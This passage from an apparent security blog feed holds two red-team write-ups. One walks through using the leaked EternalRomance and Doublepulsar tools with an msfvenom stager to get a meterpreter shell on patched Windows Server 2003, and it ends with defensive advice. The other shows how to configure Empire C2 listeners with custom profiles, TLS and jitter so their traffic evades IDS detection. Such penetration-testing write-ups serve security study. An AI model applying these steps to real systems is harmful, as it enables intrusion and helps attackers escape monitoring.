machines not patched with <a href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010">MS17–010</a>. Cool stuff, however, maybe even cooler is the stuff that will provide reverse shells for life: Eternalromance on fully patched Windows XP and Server 2003 machines. In this short write-up, I’ll explain how to get EternalRomance working by popping a meterpreter session on a fully patched Windows Server 2003 R2 SP2 box.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/1.png" alt="win2003" /></p>
<figcaption class="caption">Fully patched Windows Server 2003.</figcaption>
<p>Eternalromance requires shellcode for the exploitation phase. Any shellcode other than shellcode generated by the Doublepulsar implant, results in a BSOD on the box (trust me, I’ve tried this many times…).</p>
<p>Start FuzzBunch and type <code>use Doublepulsar</code>. Walk through the default options and choose function <code>OutputInstall</code>. This generates the shellcode to feed to Eternalromance.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/2.png" alt="2" /></p>
<figcaption class="caption">Doublepulsar generates <code>dopu_shellcode.bin</code></figcaption>
<p>Walk through the default options of Eternalromance, let the Smbtouch execute and afterwards provide the <code>dopu_shellcode.bin</code> shellcode file generated with Doublepulsar.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/3.png" alt="3" /></p>
<figcaption class="caption">Smbtouch via Eternalromance.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/4.png" alt="4" /></p>
<figcaption class="caption">Select proper DoPu shellcode file.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/5.png" alt="5" /></p>
<figcaption class="caption">Eternalromance succeeded.</figcaption>
<p>After Eternalromance succeeded, let’s now prepare a payload of use to us, in this case a meterpreter shell.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/6.png" alt="6" /></p>
<figcaption class="caption">Use msfvenom to generate a meterpreter stager DLL.</figcaption>
<p>Now we’ll let Doublepulsar inject this <code>dll</code>, and initiate a meterpreter session.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/7.png" alt="7" /></p>
<figcaption class="caption">Doublepulsar injects <code>meterpreter.dll</code></figcaption>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/8.jpeg" alt="8" /></p>
<figcaption class="caption">Meterpreter session on the Windows Server 2003 SP2.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2017-04-26-eternalromance-eternal-pwnage-of-windows-server-2003-and-xp/shell.gif" alt="shell" class="bigger-image" /></p>
<p>Seriously though, if your organisation relies on these legacy operating systems:</p>
<ul>
<li>Disable SMBv1, or;</li>
<li>Segment the box</li>
<li>Run IDS/IPS with signatures for the maliciously crafted SMBv1 packet.</li>
</ul>
<p>Stay safe!</p>vivamiMost of the write-ups on the leaked Equation Group tools by the shadow brokers are about the Eternalblue exploit, an RCE SMB exploit that provides SYSTEM to the attacker of Windows 7 and Windows Server 2008 machines not patched with MS17–010. Cool stuff, however, maybe even cooler is the stuff that will provide reverse shells for life: Eternalromance on fully patched Windows XP and Server 2003 machines. In this short write-up, I’ll explain how to get EternalRomance working by popping a meterpreter session on a fully patched Windows Server 2003 R2 SP2 box.Reigning the Empire, evading detection2017-04-02T00:00:00+00:002017-04-02T00:00:00+00:00https://vanmieghem.io/reigning-the-empire-evading-detection<p><strong>tl;dr:</strong> <em>Configure a (valid) certificate and add jitter to have Empire communications stay below the radar.</em></p>
<p>Empire, an open-source post exploitation framework by now well-known among pentesters and red teamers. <a href="https://twitter.com/harmj0y">@harmj0y</a>, <a href="https://twitter.com/sixdub">@sixdub</a>, and <a href="https://twitter.com/enigma0x3">@enigma0x3</a> did a terrific job making Empire OpSec safe using various obfuscation techniques. On the endpoints, the most prominent and effective one is having most of the PowerShell modules ran in memory. On the network, it appears to be HTTP traffic where its communications are AES encrypted (more <a href="https://www.powershellempire.com/?page_id=147">here</a>). Empire has been very effective for me, evading pretty much all of the detection mechanisms I had to pass. But recently, it got picked up on the wire by the custom IDS rules of a SOC service provider. As it turned out, I was being a bit sloppy, because Empire can be easily setup to evade these (rather lousy) IDS rules. This is a quick post on what is detected and how to set up Empire to bypass detection.</p>
<p>So, let’s start out by firing up a listener with default values at <code>192.168.178.162</code>.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/1_listener_setup.png" alt="Listener_setup_1" class="bigger-image" /></p>
<figcaption class="caption">Empire listener with default values.</figcaption>
<p>Execute the stager on the victim at <code>192.168.178.26</code> and let’s sniff the traffic between attacker and victim.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/2_wireshark_traffic.png" alt="wireshark_traffic_1" class="bigger-image" /></p>
<figcaption class="caption">Packet capture of HTTP traffic going to the Empire C2.</figcaption>
<p>Instantly popping up is the large amount of HTTP keep-alive beacons the agent sends back to the C2. This in itself was not the issue, however, the fact that it requests the default Empire pages <code>/admin/get.php</code>, <code>/news.asp</code>, <code>/login/process.jsp</code> was. If we look more closely to the C2 response, we also see that a default <em>“It works!”</em> webpage is returned.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/3_wireshark_HTTP_packet.png" alt="EmpireC2_packet" /></p>
<figcaption class="caption">Empire C2 response viewed in Wireshark. Default "It works!" page is returned.</figcaption>
<p>A user constantly refreshing an <em>“It works!”</em> page doesn’t really looks like the benign behaviour to me… Let’s see if we can obfuscate this a bit.
First thing we can do is customise the listeners’ <code>DefaultProfile</code> to, in this case, <code>/feed.xml</code> and <code>index.html</code>.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/4_listener_setup2.png" alt="EmpireC2_listener2" class="bigger-image" /></p>
<figcaption class="caption">Empire listener with customised DefaultProfile parameter.</figcaption>
<p>This change results in an obvious customisation of the HTTP requests. In my scenario, this alone was enough to evade the IDS.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/5_beacon.png" alt="beacon" class="bigger-image" /></p>
<figcaption class="caption">Keep-alive beacon using customised profile.</figcaption>
<p>However, the default webpage <em>“It works!”</em> is still there, which is lame.</p>
<p>Now, if we provide the listener with a certificate (you may want to use a valid cert to increase stealthiness) and add random jitter, the communication is wrapped in a TLS layer and Empire specifics are gone!</p>
<p>Excellent. 👌🏼</p>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/6_listener_setup3.png" alt="beacon" class="bigger-image" /></p>
<figcaption class="caption">Listener set up to use TLS for its communications.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2017-04-02-reigning-the-empire-evading-detection/7_wireshark_traffic_2.png" alt="beacon" class="bigger-image" /></p>
<figcaption class="caption">TLS wrapped communications between the agents and C2.</figcaption>vivamitl;dr: Configure a (valid) certificate and add jitter to have Empire communications stay below the radar.